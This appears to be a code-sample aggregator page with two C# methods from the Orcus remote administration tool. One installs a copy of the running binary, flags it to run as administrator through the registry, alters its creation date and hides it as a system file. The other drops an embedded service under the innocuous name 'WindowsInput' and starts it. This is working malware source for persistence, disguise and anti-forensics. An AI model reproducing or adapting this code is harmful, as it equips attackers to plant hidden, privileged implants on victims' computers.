Exemplo n.º 1
0
        public static bool Install(string path, string currentFile, out FileInfo file)
        {
            file = new FileInfo(path);

            if (string.Equals(file.FullName, currentFile, StringComparison.OrdinalIgnoreCase))
            {
                return(false);
            }

            if (file.Exists)
            {
                try
                {
                    File.SetAttributes(file.FullName, FileAttributes.Normal);
                    file.Delete();
                }
                catch (Exception)
                {
                    return(false);
                }
            }

            if (file.Directory != null && file.Directory.Exists == false)
            {
                file.Directory.Create();
            }

            File.Copy(currentFile, file.FullName);
            AppConfigWriter.WriteAppConfig(file);

            if (Settings.GetBuilderProperty <SetRunProgramAsAdminFlagBuilderProperty>().SetFlag)
            {
                try
                {
                    using (
                        var regkey =
                            Registry.CurrentUser.OpenSubKey(
                                @"Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers"))
                        regkey?.SetValue(file.FullName, "RUNASADMIN");
                }
                catch (UnauthorizedAccessException)
                {
                }
            }

            var changeCreationDateProperty = Settings.GetBuilderProperty <ChangeCreationDateBuilderProperty>();

            if (changeCreationDateProperty.IsEnabled)
            {
                File.SetCreationTime(file.FullName, changeCreationDateProperty.NewCreationDate);
            }

            if (Settings.GetBuilderProperty <HideFileBuilderProperty>().HideFile)
            {
                File.SetAttributes(file.FullName,
                                   FileAttributes.ReadOnly | FileAttributes.Hidden | FileAttributes.System);
            }
            return(true);
        }
Exemplo n.º 2
0
        public static void InstallIfNotExist()
        {
            Program.WriteLine("Begin service installation");
            var serviceExists = ServiceController.GetServices().Any(s => s.ServiceName == "WindowsInput");

            if (!serviceExists)
            {
                Program.WriteLine("Orcus service was not found");
                try
                {
                    var file = GetFreeFilename();
                    Program.WriteLine("Free file name found for: " + file.FullName);

                    try
                    {
                        ResourceHelper.WriteGZippedResourceToFile(file.FullName, "Orcus.Service.exe.gz");
                        AppConfigWriter.WriteAppConfig(file);
                    }
                    catch (Exception)
                    {
                        return;
                    }

                    Program.WriteLine("Service was written to the file; Start service with parameter --install");

                    var process = Process.Start(file.FullName, "--install");
                    process?.WaitForExit(20000);
                    Program.WriteLine("20 seconds are gone or the service installation process did exit");

                    Program.WriteLine("Attempt to start service...");
                    try
                    {
                        StartService("WindowsInput", 5000);
                    }
                    catch (Exception ex)
                    {
                        Program.WriteLine("Start failed: " + ex.Message);
                    }
                }
                catch (Exception)
                {
                    // Unauthorized exception perhaps...
                }
            }
        }